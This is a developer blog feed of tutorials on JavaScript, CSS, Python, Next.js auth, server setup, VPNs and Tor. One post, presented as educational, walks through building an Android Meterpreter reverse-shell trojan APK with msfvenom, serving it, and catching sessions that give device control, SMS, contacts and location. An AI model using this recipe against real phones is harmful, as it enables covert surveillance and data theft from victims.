DEV Community: Raghav Mrituanjaya

10+ JavaScript Tips And Tricks for Writing Clean and Efficient Code

Raghav Mrituanjaya — Wed, 15 Mar 2023 10:23:56 +0000

JavaScript is a powerful programming language that is widely used to create interactive and dynamic web applications. However, with its flexibility and expressiveness comes the challenge of writing clean and efficient code. This can be especially important when working on large or complex projects, or when building web applications with high-performance requirements. To help you write better JavaScript code, here are 10+ tips for keeping your code clean, organized, and optimized for performance.

Use strict mode: By adding "use strict"; at the beginning of your JavaScript code, you can enable strict mode, which helps you write safer and more efficient code. Strict mode enforces a stricter set of rules for your code, such as preventing you from using undeclared variables.
Use const and let instead of var: In JavaScript, var is used to declare variables, but it has some problems such as variable hoisting and lack of block scope. On the other hand, const is used to create read-only variables that cannot be reassigned, and let is used to create variables that can be reassigned. These two keywords offer better scoping and control over variables, so it's a good idea to use them instead of var.
Use arrow functions: Arrow functions are a shorthand way of defining functions in JavaScript. They are often used to declare functions that are passed as callbacks or used as object methods. For example, this is how you would define an anonymous function in ES5:
```
var add = function(a, b) {
return a + b;
};
```
The same function could be written as an arrow function in ES6:
```
const add = (a, b) => a + b;
```
Arrow functions are shorter and easier to read and understand, so it's a good idea to use them wherever possible.
Use template literals: JavaScript introduced template literals in ES6, which allows you to create strings that include expressions. Template literals use backticks instead of single or double quotes and expressions are enclosed in curly braces ${}.
```
let age = 30;
console.log(`My age is ${age}`) // My age is 30
```

Use .forEach() instead of for loop when iterating over arrays: Using .forEach() a method to iterate over arrays makes your code shorter and more readable than using a traditional for loop.

const numbers = [1, 2, 3, 4];

// Using for loop
for (let i = 0; i < numbers.length; i++) {
console.log(numbers[i]);
}

// Using forEach
numbers.forEach(function(number) {
console.log(number);
});

Learn and use Array.prototype methods like map, filter, and reduce, which help you to iterate, filter, and manipulate your arrays more efficiently.
Use the spread operator to copy arrays and objects: The spread operator allows you to make a shallow copy of an array or an object by creating a new one with the same elements or properties. This is useful when you need to create a new array or object that is based on an existing one, but you don't want to modify the original.
```
const originalArray = [1, 2, 3];
const copiedArray = [...originalArray];
console.log(originalArray); // [1, 2, 3]
console.log(copiedArray); // [1, 2, 3]
```
Use destructuring assignment to extract values from arrays and objects: Destructuring assignment is a shorthand way of extracting values from arrays and objects. It allows you to extract multiple values at once and assign them to separate variables, which can make your code more readable and easier to work with.
```
const person = {
name: "John Doe",
age: 30,
address: {
    city: "New York",
    state: "NY"
}
};

const { name, age, address: { city } } = person;
console.log(name); // "John Doe"
console.log(age); // 30
console.log(city); // "New York"
```
Use default parameters in function: You can set default values for function parameters, which will be used if the caller doesn't provide a value for that parameter. This can make your code more robust and easier to work with.
```
function greet(name = "stranger") {
console.log(`Hello, ${name}!`);
}
greet(); // Hello, stranger!
greet("John"); // Hello, John!
```
Understand event loops and use async/await: JavaScript is a single-threaded language, which means it can execute only one task at a time. An event loop is a mechanism that allows JavaScript to execute tasks asynchronously, and you can use async/await to handle asynchronous code more elegantly.
Use a JavaScript linter: A linter is a tool that checks your code for potential errors and best practices. This can help you catch bugs early on and ensure that your code is consistent and easy to read.
Learn about Functional programming concepts like map, filter, and reduce and how to use them effectively.

This is just a small sample of the many tips and tricks that can help you write better JavaScript code. As you continue to learn and work with the language, you will discover more best practices and techniques that can help you write more efficient and effective code.

Creating A Automatic Attendance System(Python Project)

Raghav Mrituanjaya — Mon, 16 Jan 2023 06:36:27 +0000

An automatic attendance system in Python can be built using computer vision and machine learning techniques. The system would involve using a camera to capture images of the attendees and then using image processing techniques to detect and recognize faces in the images. Once the faces have been recognized, the system would match them against a pre-existing database of authorized attendees. If a match is found, the system would mark the person as a present. In this post, we are building a python program that uses Python libraries such as OpenCV, dlib, face-recognition and scikit-learn to implement the various image processing and machine learning tasks required to build the system.

Source Code

Conclusion

In conclusion, an automatic attendance system in Python can be a useful tool for organizations and institutions looking to streamline the process of taking attendance. By using computer vision and machine learning techniques, the system is able to accurately detect and recognize faces, and match them against a pre-existing database of authorized attendees. This can save time and reduce human error compared to traditional attendance-taking methods. Python libraries such as OpenCV, dlib, face-recognition and scikit-learn provide the necessary tools to implement the various image processing and machine learning tasks required to build the system. While the implementation of such a system may require some initial effort and technical expertise, it can provide significant benefits in the long run.

Here's a link to the repository -> Automatic Attendance System

If you have problems in the installation of the face-recognition library do check out this StackOverflow Question

P.S:- Vultr(Get a $100 credit by registering using this link) is an excellent hosting choice if you're looking for a VPS server-level hosting wherein you can manage it yourself

Mind-Blowing CSS Tips and Tricks

Raghav Mrituanjaya — Thu, 05 Jan 2023 12:30:38 +0000

In this blog post on CSS tips and tricks! As web developers, we all know that CSS is a powerful tool for styling and layout, but sometimes it can feel like we're just scratching the surface of what's possible. In this post, we'll dive deep into some lesser-known but highly useful CSS techniques that can take your skills to the next level. From global variables and media queries to animations and flexible layouts, we've got you covered. So without further ado, let's get started with these awesome CSS tips and tricks!

Use the :root pseudo-class to define global variables that can be used throughout your stylesheet. For example:

:root {
  --main-color: blue;
}

.button {
  background-color: var(--main-color);
}

Use the calc() function to perform mathematical calculations in your stylesheet. This can be especially useful for responsive design, where you want to use percentages but need to subtract a fixed value. For example:

.container {
  width: calc(100% - 20px);
}

Use the :not() pseudo-class to apply styles to all elements except for a specific element. For example:

:not(pre) > code {
  background-color: lightgray;
  padding: 2px 4px;
}

Use the @media rule to apply styles based on media queries. This allows you to create responsive designs that look great on different screen sizes. For example:

@media (min-width: 768px) {
  .container {
    max-width: 750px;
  }
}

Use the box-shadow property to add drop shadows to elements. You can even use multiple box-shadow to create some really cool effects. For example:

.box {
  box-shadow: 0 5px 15px -5px rgba(0, 0, 0, 0.5);
}

Use the transform property to rotate, scale, or translate elements. For example:

.element {
  transform: rotate(45deg);
  transform: scale(1.5);
  transform: translate(50px, 100px);
}

Use the transition property to smoothly animate changes to CSS properties. For example:

.element {
  transition: background-color 0.5s ease-in-out;
}

.element:hover {
  background-color: red;
}

Use the animation property to create more complex animations using keyframes. For example:

@keyframes bounce {
  0% {
    transform: translateY(0);
  }
  50% {
    transform: translateY(-30px);
  }
  100% {
    transform: translateY(0);
  }
}

.element {
  animation: bounce 1s infinite;
}

Use the flex property to create flexible layouts that automatically adjust to different screen sizes. For example:

.container {
  display: flex;
  flex-wrap: wrap;
}

.element {
  flex: 1;
}

Use the object-fit property to specify how an element should fit within its container. For example:

img {
  object-fit: cover;
}

In conclusion, we've learned about a variety of powerful CSS tips and tricks that can help you take your skills to the next level. From global variables and media queries to animations and flexible layouts, these techniques are sure to come in handy in your web development projects. We hope that this post has inspired you to explore the full potential of CSS and try out some of these techniques for yourself. Thanks for reading, and happy coding!

Do checkout this post on Tips & Ticks In Python For Beginners

P.S:- Vultr(Get a $100 credit by registering using this link) is an excellent hosting choice if you're looking for a VPS server-level hosting wherein you can manage it yourself

Best Free Web Hosting Services

Raghav Mrituanjaya — Sat, 12 Nov 2022 15:27:25 +0000

In this post, we will see some of the top places to host your application or website for free and some of the paid ones.

Disclaimer: The BaaS Providers here are not mentioned in any order. All of them have their positives and negatives

Vercel

Backed by the creators of the Next.js framework. It's one of the best places to host your Jamstackapplications

They have a generous free tier that is enough for most of the hobby projects

Netlify

Netlify is a remote-first cloud computing company that offers a development platform that includes building, deploying, and serverless backend services for web applications and dynamic websites

Google App Engine

Google App Engine is a cloud computing platform as a service for developing and hosting web applications in Google-managed data centres. Applications are sandboxed and run across multiple servers

Heroku

Heroku is a cloud platform as a service supporting several programming languages. One of the first cloud platforms, Heroku has been in development since June 2007, when it supported only the Ruby programming language, but now supports Java, Node.js, Scala, Clojure, Python, PHP, and Go.

Note:- Their free tier is ending on 28th November 2022. Learn more about this in this post

Railway

Railway is an infrastructure platform where you can provision infrastructure, develop with that infrastructure locally, and then deploy it to the cloud. This is one of my personal favourites as they offer $5 free credit every month to use on their platform

P.S:- Vultr(Get a $100 credit by registering using this link) is an excellent hosting choice if you're looking for a VPS server-level hosting wherein you can manage it yourself

Thank you for reading :)

Implementing Authentication In Next.js Using Next Auth

Raghav Mrituanjaya — Sun, 25 Sep 2022 11:29:14 +0000

In this post, we will be implementing GitHub, Twitter and email authentication in Next JS using NextAuth.js

What is Next Auth?

NextAuth.js is a complete open-source authentication solution for Next.js applications. It has built-in hooks that let you access the user from the client side.

Getting Started

I assume that you have maltreated created/initiated your next js project if not, just run yarn create next-app to create next js boilerplate code
Now, we can install next-auth by running yarn add next-auth or npm install next-auth
Now, we can create an API route for the authentication by editing the pages/api/auth/[...nextauth].js file

import NextAuth from "next-auth"
import GithubProvider from "next-auth/providers/github"

export const authOptions = {
  // Configure one or more authentication providers
  providers: [
    GithubProvider({
      clientId: process.env.GITHUB_ID,
      clientSecret: process.env.GITHUB_SECRET,
    }),
    // ...add more providers here
  ],
}

export default NextAuth(authOptions)

javascript

You might need a provider which is a database. For this instance, I will be using the MongoDB

Now, we can access the user from the client side by wrapping our component pages/_app.jsx with SessionProvider

import { SessionProvider } from "next-auth/react"

export default function App({
  Component,
  pageProps: { session, ...pageProps },
}) {
  return (
    <SessionProvider session={session}>
      <Component {...pageProps} />
    </SessionProvider>
  )
}

javascript

Now, we'll create a simple home page by editing pages/index.js

import { Center, VStack, Text, Button } from '@chakra-ui/react';
import { useSession, signIn } from 'next-auth/react';
import React from 'react';

export default function Home() {
    const { data } = useSession();
    return (
        <Center height="100%" my={'10rem'}>
            <VStack>
                <Text fontSize={'2xl'}>
                    Current User: {data?.user?.email || 'None'}{' '}
                </Text>

                {!data?.user && <Button onClick={() => signIn()}>Login</Button>}
            </VStack>
        </Center>
    );
}

javascript

Let's create an authentication page(pages/auth.js) where the users will be able to log in/Register using OAuth Providers like GitHub, discord

import {
    Box,
    Center,
    Container,
    Flex,
    Icon,
    VStack,
    Button,
} from '@chakra-ui/react';
import {
    getProviders,
    getSession,
    GetSessionParams,
    signIn,
    useSession,
} from 'next-auth/react';
import { FcGoogle } from 'react-icons/fc';
import { FaDiscord, FaGithub } from 'react-icons/fa';
import { GetServerSideProps } from 'next';
import { useRouter } from 'next/router';
import { useEffect } from 'react';
export default function SignIn({ providers }) {
    const router = useRouter();
    const user = useSession();
    useEffect(() => {
        // if (router.query.callbackUrl) {
        // router.push(router.query.callbackUrl as string);
        // }
        if (user?.data?.user) {
            router.push('/');
        }
    });
    let icons = [
        {
            name: 'Google',
            icon: FcGoogle,
        },
        {
            name: 'Github',
            icon: FaGithub,
        },
        {
            name: 'Discord',
            icon: FaDiscord,
        },
    ];
    return (
        <Flex h="100vh" alignItems={'center'} justifyContent="center">
            <Box
                border="1px"
                borderColor="gray.200"
                p={4}
                rounded="xl"
                // translateY={'50%'}
            >
                <VStack>
                    {Object.values(providers).map((provider: any) => (
                        <Button
                            leftIcon={
                                <Icon
                                    as={
                                        icons.find(
                                            (i) =>
                                                i.name.toLowerCase() ===
                                                provider.name.toLowerCase()
                                        ).icon
                                    }
                                />
                            }
                            onClick={async () => signIn(provider.id)}
                            key={provider.id}
                        >{`Sign in with ${provider.name}`}</Button>
                    ))}
                </VStack>
            </Box>
        </Flex>
    );
}

export const getServerSideProps: GetServerSideProps = async (context) => {
    const session = await getSession(context);
    const providers = await getProviders();
    // console.log(context.query);
    if (session) {
        return {
            redirect: {
                destination: (context?.query?.callbackUrl as string) || '/',
                permanent: false,
            },
        };
    }
    return {
        props: { providers },
    };
};

javascript

You may use the useSession() hook to obtain the user details on the client side or you may use getSession() on the server side

Client-Side

import { useSession } from "next-auth/react"

export default function Component() {
  const { data: session, status } = useSession()

  if (status === "authenticated") {
    return <p>Signed in as {session.user.email}</p>
  }

  return <a href="/api/auth/signin">Sign in</a>
}

Server-side

async function myFunction() {
  const session = await getSession() 
  /* ... */
}

We have successfully now added authentication to our next js site, you may now run yarn dev and the dev server might start running

Conclusion

I have used the Chakra UI library to style up the frontend
Full source code is available on GitHub

P.S:- Vultr(Get a $100 credit by registering using this link) is an excellent hosting choice if you're looking for one.

How Can You Create A Backend In Few Minutes Using PocketBase

Raghav Mrituanjaya — Sun, 04 Sep 2022 12:29:02 +0000

This post will teach you how to create a powerful backend for your SaaS app using Pocketbase in just a few minutes. Yet, this backend is powerful and can scale up as your business grows.

Introduction To Pocketbase

Pocketbase](https://pocketbase.io/) is an Open Source backend for your SaaS and Mobile app which is available in a single file. As of today, it has around 9.5k+ stars on GitHub. It includes some of the essential services such as

Realtime Database
Authentication
File Storage

Getting Started

In order to get started, I assume you already have a Linux server running Ubuntu or Debian. Vultr is an excellent hosting choice if you're looking for one & If you sign up using the above link, you'll receive $100 in free credits

SSH onto your server and run the following commands to install the required utilities and to make sure that you have the latest piece of software

sudo apt install unzip nginx -y
sudo apt update 
sudo apt upgrade -y

Making our app directory and downloading pocket base from GitHub

mkdir app
cd app
wget  https://github.com/pocketbase/pocketbase/releases/download/v0.6.0/pocketbase_0.6.0_linux_amd64.zip
unzip pocketbase_0.6.0_linux_amd64.zip

To make sure that our apps never go down, we create a systemd file which should be located at /lib/systemd/system/pocketbase.service We can open up the file by running nano /lib/systemd/system/pocketbase.service

[Unit]
Description = pocketbase

[Service]
Type           = simple
User           = YOUR_USER
Group          = YOUR_GROUP
LimitNOFILE    = 4096
Restart        = always
RestartSec     = 5s
StandardOutput = append:/your/path/to/logs/errors.log
StandardError  = append:/your/path/to/logs/errors.log
ExecStart      = /your/path/to/pocketbase serve --http="yourdomain.com:80" --https="yourdomain.com:443"

[Install]
WantedBy = multi-user.target

To start and run the application run these commands

systemctl enable pocketbase.service
systemctl start pocketbase

Note: the service name should match the name given in the configuration

Conclusion

The only thing I felt odd about using this is the fact that it can only be used with SQLite database and can't be connected to any other database ( If there is an update on this kindly let me know in the comment section below)

Python Tips & Tricks For Beginners

Raghav Mrituanjaya — Thu, 25 Aug 2022 15:39:00 +0000

In this short yet effective post, we will discuss some of the top tips and tricks in python that might help you write your code faster 🚀

Reversing a string

s = "This is a String"
print(s[::-1])

Removing duplicates from a list

a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
b = list(set(a))
print(b)

Merging Two or More Dictionaries

a = {'a': 1, 'b': 2}
b = {'c': 3, 'd': 4}
c = {**a, **b}

This trick might only work for Python version >= 3.5

Converting a list of strings into a string

a = ['a', 'b', 'c']
b = ''.join(a)
print(b)

Retrieving the memory size

a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print(sys.getsizeof(a), "Bytes")
print(sys.getsizeof(a) / 1024, "Megabytes")

Formatting Numbers

num1 = 100_000_000_000
num2 = 100_000_000_000
num3 = num1+num2
print(f"{num3:,}")

The output will be 200,000,000,000

Final Thoughts

This post may get updated from time to time
If you would like to mention any tricks kindly mention them in the comment section below

P.S:- Vultr(Get a $100 credit by registering using this link) is a good hosting choice if you're looking for one

How Can You Hack Into An Android Device 📱 In 2022?

Raghav Mrituanjaya — Tue, 10 May 2022 15:55:40 +0000

We will be seeing how can you hack onto your phone in 2022 using the Metasploit Framework. This attack will be done using a Trojan created using Metasploit

Disclaimer:- This post is only meant to illustrate these attacks and is purely for educational purposes only

What is Metasploit 🤔 ?

Metasploit is an open-source computer security project maintained and developed by Rapid7. It includes a set of tools that can help a cyber security analyst of an organization to find some bugs in their system and recommend some potential ways to solve them. It usually comes pre-installed in Kali Linux. It contains over 590 sets of modules that are essentially useful. Some of the Important ones are mentioned below

Command shell enables users to run collection scripts or run arbitrary commands against the host.
Meterpreter (the Metasploit Interpreter) enables users to control the screen of a device using VNC and to browse, upload and download files.
Dynamic payloads enable users to evade anti-virus defense by generating unique payloads.
Static payloads enable static IP address/port forwarding for communication between the host and the client system

Installing Metasploit

You can run the following commands to install Metasploit onto your Linux server

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

Metasploit is also available for other OS. You can learn about it by clicking on this here
If you are looking for a cloud server to test out Metasploit then, do consider Vultr

Playing with Metasploit 😉

For figuring out the public IP of our instance(VM in Cloud) We run wget -qO - ipinfo.io which would fetch you similar output to this 👇

{
  "ip": "11.22.33.444",
  "hostname": "8.9.8.1.bc.googleusercontent.com",
  "city": "Singapore",
  "region": "Singapore",
  "country": "SG",
  "loc": "1.2897,103.8501",
  "org": "AS396982 Google LLC",
  "postal": "018989",
  "timezone": "Asia/Singapore",
  "readme": "https://ipinfo.io/missingauth"
}

The IP field in the JSON should be the public IP of your instance
If you're running on your local network then you have to figure out the internal IP of your instance by running ifconfig

Before we further process we have to create a Trojan which we can easily create by running the command mentioned below

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.106.0.2 LPORT=4444 R> /var/www/html/payload.apk

-p argument indicates the payload that we are going to use. In this case, it will be android/meterpreter/reverse_tcp
LHOST will be the host to which you would like to receive the data from the victim. You should change this value to either the public or internal IP of your instance
LPORT will be the port to which you want to receive the data from the victim. You could either change this value or use the default which is 4444
R> will save the created payload in the specified directory with the specified extension

msfvenom output

Now go to the directory where the payload has been generated, In my case, it will be cd /var/www/html & run python -m SimpleHTTPServer 1234 to spin up a temporary server on port 1234
Now you can easily download the APK file onto your phone just by visiting http://private_or_public_ip:1234/filename.apk
Once you download the APK and file and try to install the application you might get a similar window popping up where you have to choose the Install anyway option

Now head over to the instance's terminal and open Metasploit by running msfconsole & run the following commands

use multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 1.1.1.1
set LPORT 4444
exploit

Please change the value of LHOST & LPORT to the one you configured earlier.

Now open the application that you have installed. Ideally, the name should be Main Activity
After you open the app, head over to the terminal, and now a new session must be opened wherein you can take the full control of the device

Core Commands

It also includes some functions that we can use to interact with the Filesystem of the device

You may also find some functions to get/send SMS or even get all the contacts

To find the list of all the possible commands just run ? or help
Let's see how we can locate the current position of the user but just running one command that is geolocate

Tips to stay away from a Trojan Attack ⚔

You should not download APKs from untrusted sources
In this post, I've just shown to create a Trojan APK but real hackers might merge the trojans with legit Apps and ask us to download the APKs. If you would like to know how can we merge Trojan to another APK file do let me know in the comment section below
You should examine the code before you install any opensource applications

Thanks for reading till the end. Do let me know if you have any queries in the comment section below 😀

Making Your Private VPN🔐

Raghav Mrituanjaya — Tue, 12 Apr 2022 12:05:25 +0000

In this post, we will be building our own private VPN using a VPS serverand OpenVPN.

Why Private VPN?🤔

Have you ever wondered when you have access to VPN providers? why should you ever consider building your private VPN? Let me help you answer this question. So basically a VPN is something that sits between your network and the Internet. It makes your IP anonymous by sending the IP of the VPN provider's server that you are connected to but the problem is that your network traffic can be easily seen by your VPN provider.

It's a proven fact that these VPN providers sell your data to scammers and advertisers.

If you like to learn more about VPNs do check out this Post.

What is OpenVPN?👐

OpenVPN is a VPN system that implements techniques to create secure point-to-point or site-to-site connections in routed or bridged configurations and remote access facilities. It implements both client and server applications. It has a Free version which is one of the reasons why I am onto it🤑🤑:)

Getting Started😀

We will not be discussing how to create a server. If you like to more about creating a server do read this Post. I recommend Vultr(Use this link to get $100 credits😉) if you're looking for a cheap and best VPS server provider

Installing Ghost

First, we should figure out the public IP of our instance. For that, we must run wget -qO - ipinfo.io which will give you similar output to this ⬇

{
  "ip": "11.22.33.444",
  "hostname": "8.9.8.1.bc.googleusercontent.com",
  "city": "Singapore",
  "region": "Singapore",
  "country": "SG",
  "loc": "1.2897,103.8501",
  "org": "AS396982 Google LLC",
  "postal": "018989",
  "timezone": "Asia/Singapore",
  "readme": "https://ipinfo.io/missingauth"
}

Now we can install OpenVPN by running the following commands

wget https://git.io/vpn -O install-open-vpn.sh
chmod +x install-open-vpn.sh

Then run sudo bash install-open-vpn.sh for the shell script to get executed

Initially, it will ask you for an IP address to use(Make sure you select your pubic IP address)

Then it will ask you to choose the Network protocols to use (Defaults to UPD)

Now you will have to choose the PORT on which you want OpenVPN to listen (Defaults to 1194 )

Now it will ask you to choose the DNS (Domain Name System) Server to use. I Personally prefer Cloudflare's 1.1.1.1. Feel free to choose the one you like

Name your client and hit enter

Once the installation is completed. It will give you the location of the client file. You either cat file_location or spin up a temporary web server using python –m SimpleHTTPServer and download it by visiting your server's IP

Now you will have to download the OpenVPN Client on your PC/Laptop
Once you have downloaded and the installation is complete. You will have to right-click on the OpenVPN client Icon.

Then You have to choose Import --> Import file then choose the file that we downloaded or copied from our server.

Once the file is imported. Now you will see an option to connect Just click on it and you're good to go.

Now if you visit ipinfo.io you will now see the IP of your server instead of your IP address 😉

Conclusion

Just a quick reminder, If you are using major cloud platforms like Digital Ocean, Google Cloud, and Amazon web services. They have this feature called one-click install wherein you will get your server up and running with OpenVPN pre-installed.
I hope this post was educational and informational to you. Do let me know in the comments section below if you guys have any sort of queries on your mind💡

P.S:- Vultr(Get a $100 credit by registering using this link) is a good hosting choice if you're looking for one
Thanks For Reading!😀

Making Your Flask(Python) Site/API Online🌐

Raghav Mrituanjaya — Sun, 20 Mar 2022 12:26:15 +0000

Hi guys, In the previous Post we created a REST API using Flask. Now you might be wondering How can you make the API online? So, In this post, we will be hosting a Flask API in a Digital Ocean Server

Creating a server in Digital Ocean

So we are gonna utilize the 100$ free credit which is given for new users in Digital Ocean (note: This step is optional if you have a server in another Cloud)

These are the steps:-

Visit Digital Ocean and sign up for a new account if you don't have an account

Enter your Card Details to validate yourself as a Human.

In the create menu, click Droplets to open the Droplet create the page. If you don't have any Droplets, the Resources tab displays a large, blue Get Started with a Droplet button, which takes you to the same Droplet create the page.‌‌

choose any OS/Image you like In this case I am going over Ubuntu 18.04‌‌

Choose the plan that best suits your needs In this case I am gonna go with the 18$ plan.

Takes Time⏳

Your Droplet will be created!
If you would like to learn about SSH do read this Post.

Creating a basic flask app

Run this code pip install gunicorn flask

This is a minimal flask app and I will name it wsgi.py you can name the file anything you prefer

You can test the configuration by running gunicorn --bind 0.0.0.0:8000 wsgi
If you want to create a Rest API using Flask do check out this Post

The Gurnicorn Configuration

SSH onto your server run sudo nano /etc/systemd/system/myproject.service to open the configuration file for your project

That brings in an editor to your terminal and write the following(edit as per your need)

[Unit]
Description=Gunicorn instance to serve myproject
After=network.target

[Service]
User=user
Group=nginx
WorkingDirectory=/home/user/myproject
Environment="PATH=/home/user/myproject/myprojectenv/bin"
ExecStart=/home/user/myproject/myprojectenv/bin/gunicorn --workers 3 --bind unix:myproject.sock -m 007 wsgi

[Install]
WantedBy=multi-user.target

Then press crtl+c to save it and crtl+x to exit the editor
Run sudo systemctl start myproject & sudo systemctl enable myproject
You can check the status of your application by running sudo systemctl status myproject

Configuring Nginx to proxy the requests

Run sudo apt update sudo && sudo apt-get install nginx to update any outdated software and install Nginx
Once Nginx is installed, You can edit your configuration file by sudo nano /etc/nginx/sites-available/myproject
Then paste the following code to your configuration file

server {
    listen 80;
    server_name your_domain www.your_domain;

    location / {
        include proxy_params;
        proxy_pass http://unix:/home/sammy/myproject/myproject.sock;
    }
}

The above code instructs Nginx to proxy your request to the sock file that we created earlier
To link your project to Nginx sites run sudo ln -s /etc/nginx/sites-available/myproject /etc/nginx/sites-enabled
Run this code to Test your Configuration sudo nginx -t
Then run this to restart Nginx sudo systemctl restart nginx
If you have enabled UFW then run sudo ufw allow 'Nginx Full'
Visit http://yourip and your app should be live now

Securing your app with an SSL

Run sudo add-apt-repository ppa:certbot/certbot sudo apt install python-certbot-nginx to install certbot and Nginx certbot plugin onto your server
Run sudo certbot --nginx -d your_domain -d www.your_domain --agree-tos -m your_name@yourdomain.com to get a new certificated from certbot
You may get a similar output to this 👇

Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access.
-------------------------------------------------------------------------------
1: No redirect - Make no further changes to the webserver configuration.
2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for
new sites, or if you're confident your site works on HTTPS. You can undo this
change by editing your web server's configuration.
-------------------------------------------------------------------------------
Select the appropriate number [1-2] then [enter] (press 'c' to cancel):

Select the option of your choice
You will get an output like this

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/your_domain/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/your_domain/privkey.pem
   Your cert will expire on 2018-07-23. To obtain a new or tweaked
   version of this certificate in the future, simply run certbot again
   with the "certonly" option. To non-interactively renew *all* of
   your certificates, run "certbot renew"
 - Your account credentials have been saved in your Certbot
   configuration directory at /etc/letsencrypt. You should make a
   secure backup of this folder now. This configuration directory will
   also contain certificates and private keys obtained by Certbot so
   making regular backups of this folder is ideal.
 - If you like Certbot, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate
   Donating to EFF: https://eff.org/donate-le

(optional) Run sudo ufw delete allow 'Nginx HTTP' to disable HTTP in UFW
Try visiting https://your IP or Your domain and Your site should be secured🔒

Sending E-mail📨Using Python

Raghav Mrituanjaya — Sat, 18 Dec 2021 14:31:54 +0000

So, Have you guys ever wondered how do companies like Amazon, Walmart, eBay send emails to your inbox immediately after your purchase. Do you think it's an email sent by an human. I know most of you must have guessed it's an Automated E-mail but how do they do that?

In order to solve the question that was raised we are gonna be trying to send a email using simple Python Code. Feel free to customize the code according to your needs.

A Simple Program

Points To Note

Do let me know where I can improve in writing posts in the comment section below as I am too learning new things :)
Thanks For Reading ♥!

Video Reference

TOR🧅- Stay Anonymous In Internet

Raghav Mrituanjaya — Thu, 16 Dec 2021 15:30:12 +0000

Why Tor?

Have you ever wondered when you search for some product like let's say a Mobile Phone and Facebook, Google And Many others show you the ads relevant to your search? So, it means these big tech giants have an eye on our searches right? So the solution is to use Tor which makes you anonymous on the internet by routing your traffic via multiple servers around the world. So the end website that you visit will not get to know what is your original IP address.

Small History On Tor

The Tor Project was launched in 2002 and its main technology was developed by the US Navy and was mostly funded by the government.

"We were increasingly concerned about all these websites - in the 2000/01 dotcom bubble, everyone was offering free services, and by free they meant 'we take all your information and sell it as many times as possible',"
Said the executive director Andrew Lewman to the Guardian in April 2012

What does Tor Do?

Tor directs your traffic through a free, worldwide volunteer overlay network, consisting of more than six thousand relays, for concealing a user's location and usage from anyone conducting network surveillance or traffic analysis. Using Tor makes it more difficult to trace the Internet activity to the user. Tor's intended use is to protect the personal privacy of its users, as well as their freedom and ability to conduct confidential communication by keeping their Internet activities unmonitored.

How can Tor Help You?

The Tor project team says that it's users fall into the following categories

Image By Electronic Frontier Foundation, CC BY 3.0, via Wikimedia Commons

Normal people who want to keep their internet activities private from websites and advertisers those concerned about cyberspying

Image By Electronic Frontier Foundation, CC BY 3.0, via Wikimedia Commons

For Intermediate users, it could mean running Tor so that your children's location can't be identified when they are online, or could mean a political activist in China, Russia or Syria could protect their identity.

Image By Electronic Frontier Foundation, CC BY 3.0, via Wikimedia Commons

Conclusion

Is TOR Better Than VPN? In short, Yes because it routes your network traffic through multiple Nodes
Stay tuned for a post on Tor vs VPN
Thanks For Reading 🙂